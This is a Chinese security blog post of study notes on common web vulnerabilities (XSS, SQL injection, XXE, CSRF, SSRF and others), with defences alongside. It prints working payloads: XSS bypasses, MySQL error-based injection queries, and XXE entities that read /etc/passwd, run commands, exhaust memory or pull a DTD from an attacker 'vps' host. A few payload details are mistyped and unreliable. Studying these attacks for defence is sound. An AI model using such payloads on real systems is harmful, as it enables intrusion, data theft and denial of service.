Twosmi1e's Blog.

WEB基础漏洞

Word count: 3,427 / Reading time: 13 min
2019/11/04 Share

Alt text
Alt text

前言

对所学知识的一些概括性总结吧,持续更新

XSS

Cross-Site Scripting(跨站脚本攻击)简称 XSS,是一种代码注入攻击。攻击者通过在目标网站上注入恶意脚本,使之在用户的浏览器上运行。利用这些恶意脚本,攻击者可获取用户的敏感信息如 Cookie、SessionID 等,进而危害数据安全。

XSS 的本质是:恶意代码未经过滤,与网站正常的代码混在一起;浏览器无法分辨哪些脚本是可信的,导致恶意脚本被执行。

输入来源

  • 来自用户的 UGC 信息
  • 第三方链接
  • URL参数
  • POST参数
  • Referer
  • Cookie

分类

类型 存储区 插入点
反射型 URL HTML
存储型 后端数据库 HTML
DOM型 后端数据库/前端存储/URL JavaScript

反射型

常见于通过URL传递参数的功能,如网站搜索、跳转等。
由于需要用户主动打开恶意的 URL 才能生效,攻击者往往会结合多种手段诱导用户点击。

存储型

常见于带用户保存数据的网站功能,如论坛留言板,商品评论等
存储型 XSS 的恶意代码存在数据库里,反射型 XSS 的恶意代码存在 URL 里。

DOM型

DOM 型 XSS 攻击中,取出和执行恶意代码由浏览器端完成,属于前端 JavaScript 自身的安全漏洞,而其他两种 XSS 都属于服务端的安全漏洞

常用绕过

  • 大小写
  • 多重嵌套
  • 宽字节绕过
  • href属性中的伪协议
1
<a href=javascript:alert('/a/')>adas</a>
  • HTML5新标签
1
2
3
<math>标签
<embed>标签
<svg>
  • DataUrl协议

Content Security Policy

严格的 CSP 在 XSS 的防范中可以起到以下的作用:

  • 禁止加载外域代码,防止复杂的攻击逻辑。
  • 禁止外域提交,网站被攻击后,用户的数据不会泄露到外域。
  • 禁止内联脚本执行(规则较严格,目前发现 GitHub 使用)。
  • 禁止未授权的脚本执行(新特性,Google Map 移动版在使用)。
  • 合理使用上报可以及时发现 XSS,利于尽快修复问题。

输入长度控制

Http-Only

HTTP-only Cookie: 禁止 JavaScript 读取某些敏感 Cookie,攻击者完成 XSS 注入后也无法窃取此 Cookie。

SQLI

产生原因

脚本在接收前台传过来的数据时,没有对该数据进行很好的安全检查就直接丢到数据库中去操作,导致入侵者在前台随正常数据一起提交过来的恶意sql语句也被一并带入数据库中执行[各种子查询,联合查询…],也就是说,注入的本质,只是数据库本身,与后端脚本,系统平台无关。

可能存在的地方

任何与后端数据库交互的地方
黑盒思路:

1
2
3
4
5
6
7
get请求的url,正常情况下这里应该是最先会尝试的地方
post数据字段中,数据较多时一般都会用post传,会是个不错的入手点
cookie中传的数据,有些还可能会把一些参数放在cookie中传,所以这儿也会是个不错的入手点
Referer本身用来记录上一个页面的url,但一旦被存到数据库中之后又被带入查询,你懂的
User-agent 本身用来记录客户端信息,只要被记录到数据库之后又被带入查询一样可被利用
X-Forwarded-For 本身专门用来记录客户端真实ip,如果脚本在处理时把它也带到数据库中去查询...
宽字节[双字节], 主要是由于前后端编码不统一造成理解歧义

危害

  1. 在当前数据库用户权限够的时候,一般为数据库管理员。
    • 执行系统命令,但这并不直接就等于’提权’,具体权限的大小还要取决于你服务用户的系统权限。
    • 写文件,比如,我们可能会尝试往目标网站目录中写webshell,但能不能写进去,还要看目录具体权限。
    • 读文件,尝试读取带有账号密码的各类敏感配置文件,然后再想办法配合其它的漏洞一起利用。
  2. 在当前数据库用户权限一般的时候,比如,只能在指定的库中进行正常的增删改查。
    • 像这种情况,一般我们可能会尝试查出目标网站管理员的账号和密码hash,然后再登到后台传webshell。
    • 或者搜集各种能搜集到[有权限]的各类用户密码数据,时刻为后面的字典作准备,以备不时之需。

分类

  1. 主要分为以下两类:
  • 数字型
  • 字符型
  1. 细分的话可以分为:
  • 联合查询注入
  • 多语句查询注入
  • 报错注入
  • 布尔型注入
  • 基于时间延迟注入
  • 宽字节注入
  • 等等

基于时间盲注

Alt text
Alt text

二次注入

Alt text

报错注入

使用条件

  1. floor方式
    需要同时满足floor(rand(0)2),count(),group by这三个函数
  2. updateaxml(),extractvalue()函数
    mysql5.1.5,最多爆出32位的
  3. exp()函数
    在MySQL版本大于等于5.5.5的的时候才能用

相关函数

floor()
1
mysql> select * from users where id = 1 and (select 1 from (select count(*),concat(0x7e,database(),0x7e,floor(rand(0)*2))a from information_schema.tables group by a)b);
updatexml()
1
mysql> select * from users where id = 1 and updatexml(1,concat(0x7e,database(),0x7e),1);
extractvalue()
1
mysql> select * from users where id = 1 and extractvalue(1,concat(0x7e,database(),0x7e));

如果concat被过滤,可使用make_set代替

1
2
mysql> select * from users where id = 1 and updatexml(1,make_set(3,0x7e,database()),1);
mysql> select * from users where id = 1 and extractvalue(1,make_set(3,0x7e,database()));

join()
1
mysql> select * from(select * from users a join users b)c;
exp()
1
select exp(~(select*from(select database())x));

防御

  1. 参数过滤
  • PHP过滤函数和类:addslashes(), mysql_escape_string,intval
  1. 预编译处理:先执行sql语句,再传参,即使参数中有sql命令也不会执行
  • 执行预编译语句
  • 设置变量
  • 执行语句
  1. ODBC:Open DataBase Connectivity用于数据库访问的应用程序编程接口(API)
  2. PDO:PHP Data Objects对多种数据库提供统一操作方法的数据库访问层

常用过滤绕过

空格

  • 双空格
  • 注释绕过/**/
  • tab绕过
  • %a0
  • ()括号

等号

  • like
  • in
  • <或者>

引号

  • 引号内容加上引号使用十六进制

尖括号

  • between
  • greatest
  • leatest

mysql提权

select into outfile

  1. 要有file_priv权限
  2. 知道网站绝对路径
  3. 要能用union
  4. 对web目录有写权限
  5. 没有过滤单引号

udf提权

前提是已知mysql中root的账号密码

UDF(user-defined function)是MySQL的一个拓展接口,也可称之为用户自定义函数,它是用来拓展MySQL的技术手段,可以说是数据库功能的一种扩展,用户通过自定义函数来实现在MySQL中无法方便实现的功能,其添加的新函数都可以在SQL语句中调用,就像本机函数如ABS()或SOUNDEX()一样方便。

mof提权

MOF提权的条件要求十分严苛:

  1. windows 03及以下版本
  2. mysql启动身份具有权限去读写c:/windows/system32/wbem/mof目录
  3. secure-file-priv参数不为null

XXE

概念

xml外部实体注入(XML External Entity)。当允许引用外部实体时,通过构造恶意内容,就可能导致任意文件读取、系统命令执行、内网端口探测、攻击内网网站等危害。

危害

  1. 任意文件读取

    1
    2
    3
    4
    5
    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE a [
    <!ENTITY b SYSTEM "file:///etc/passwd">
    ]>
    <c>&b;</c>
  2. SSRF/内网主机、端口探测

    Alt text

利用一些协议进行漏洞利用。

  1. 命令执行
    PHP环境下,xml命令执行要求php装有expect扩展。该扩展默认没有安装。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    <?php 
    $xml = <<<EOF
    <?xml version = "1.0"?>
    <!DOCTYPE ANY [
    <!ENTITY f SYSTEM "except://ls">
    ]>
    <x>&f;</x>
    EOF;
    $data = simplexml_load_string($xml);
    print_r($data);
    ?>
  2. DDoS攻击

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    <?xml version="1.0"?>
    <!DOCTYPE lolz [
    <!ENTITY lol "lol">
    <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
    <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
    <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
    <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
    <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
    <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
    <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
    <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
    ]>
    <lolz>&lol9;</lolz>

当XML解析器加载这个文档时,他会看到它包含一个包含文本&lol9;的根元素,不过&lol9;是一个定义的实体,扩展包含十个&lol8;的字符串,每个&lol8;是一个定义的实体,扩展为十个&lol7;的字符串。因为许多XML解释器在解析XML文档时倾向于将它的整个结果保存在内存中,所以这个不到1kb的xml文件实际包含10亿个lol,占用几乎3GB的内存,造成DDOS攻击。

防护

禁用外部实体

各个语言都提供了禁用外部实体的方法
PHP

1
libxml_disable_entity_loader(true);

JAVA:

1
2
3
4
5
6
7
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
.setFeature("http://apache.org/xml/features/disallow-doctype-decl",true); //几乎可以防御所有xml实体攻击

//如果不能使用DTDs,可以使用以下两项,两项必须同时存在
.setFeature("http://xml.org/sax/features/external-general-entities",false) //防止外部普通实体POC攻击
.setFeature("http://xml.org/sax/features/external-parameter-entities",false); //防止外部参数实体POC攻击

Python:

1
2
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

过滤用户提交的XML数据

过滤关键字:<!DOCTYPE<EMTITY,或者SYSTEM PUBLIC

可能存在被绕过的情况,如(过滤了<EMTITY)Bypass:

1
2
3
4
5
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE svg SYSTEM "http://vps/xxe.dtd">
<root>
<user>&xxe;</user>
</root>

文件上传

防护

  • 判断文件类型。在判断文件类型的时候,可以结合使用MIME Type,后缀检查等方式。
  • 对上传的文件类型进行白名单、黑名单校验,只允许上传可靠类型。
  • 采用随机数重命名文件,使攻击者无法猜想上传文件的访问路径。
  • 限制上传文件的大小,避免恶意脚本,防止由于内存、磁盘耗尽而造成的拒绝服务攻击。
  • 将文件上传的目录设置为不可执行。

CSRF

原理

CSRF(Cross Site Request Forgery,跨站请求伪造),字面理解意思就是在别的站点伪造了一个请求。专业术语来说就是在受害者访问一个网站时,其 Cookie 还没有过期的情况下,攻击者伪造一个链接地址发送受害者并欺骗让其点击,从而形成 CSRF 攻击。
CSRF漏洞产生的主要原因:
请求所有的参数均可确定
请求的审核不严格,如:只验证了Cookie
Alt text

危害

  • 篡改目标网站上的用户数据;
  • 盗取用户隐私数据;
  • 作为其他攻击向量的辅助攻击手法;
  • 传播CSRF蠕虫。

防御

1,二次验证,进行重要敏感操作时,要求用户进行二次验证。

2,验证码,进行重要敏感操作时,加入验证码。

3,验证 HTTP 的 Referer 字段。

4,请求地址中添加 Token 并验证。

5,HTTP 头中自定义属性并验证。

SSRF

原理

SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)

SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。

危害

1、内网、本地端口扫描,获取开放端口信息
2、主机信息收集,web应用指纹识别,获取服务banner信息
3、根据识别出的应用针对性的发送payload攻击,例如struts2
4、攻击内网和本地的应用程序及服务。
5、穿越防火墙
6、利用file协议读取本地文件,比如file:///etc/passwd

防御

  1. 禁止跳转

  2. 过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。

  3. 禁用不需要的协议,仅仅允许http和https请求。可以防止类似于file://, gopher://, ftp:// 等引起的问题

  4. 设置URL白名单或者限制内网IP(使用gethostbyname()判断是否为内网IP)

  5. 限制请求的端口为http常用的端口,比如 80、443、8080、8090

  6. 统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。

SSTI

服务端模板注入

代码执行和命令执行

远程代码执行(Remote Command Execution)
远程命令执行(Remote Command Execution)

区别在于执行的是操作系统命令还是脚本代码。

redis未授权

利用

计划任务
写SSHkey

CATALOG
  1. 1. 前言
  2. 2. XSS
    1. 2.1. 输入来源
    2. 2.2. 分类
      1. 2.2.1. 反射型
      2. 2.2.2. 存储型
      3. 2.2.3. DOM型
    3. 2.3. 常用绕过
      1. 2.3.1. Content Security Policy
      2. 2.3.2. 输入长度控制
      3. 2.3.3. Http-Only
  3. 3. SQLI
    1. 3.1. 产生原因
    2. 3.2. 可能存在的地方
    3. 3.3. 危害
    4. 3.4. 分类
    5. 3.5. 基于时间盲注
    6. 3.6. 二次注入
    7. 3.7. 报错注入
      1. 3.7.1. 使用条件
      2. 3.7.2. 相关函数
        1. 3.7.2.1. floor()
        2. 3.7.2.2. updatexml()
        3. 3.7.2.3. extractvalue()
        4. 3.7.2.4. join()
        5. 3.7.2.5. exp()
    8. 3.8. 防御
    9. 3.9. 常用过滤绕过
      1. 3.9.1. 空格
      2. 3.9.2. 等号
      3. 3.9.3. 引号
      4. 3.9.4. 尖括号
    10. 3.10. mysql提权
      1. 3.10.1. select into outfile
      2. 3.10.2. udf提权
      3. 3.10.3. mof提权
  4. 4. XXE
    1. 4.1. 概念
    2. 4.2. 危害
  5. 5. 防护
    1. 5.1. 禁用外部实体
    2. 5.2. 过滤用户提交的XML数据
  6. 6. 文件上传
    1. 6.1. 防护
  7. 7. CSRF
    1. 7.1. 原理
    2. 7.2. 危害
    3. 7.3. 防御
  8. 8. SSRF
    1. 8.1. 原理
    2. 8.2. 危害
    3. 8.3. 防御
  9. 9. SSTI
  10. 10. 代码执行和命令执行
  11. 11. redis未授权
    1. 11.1. 利用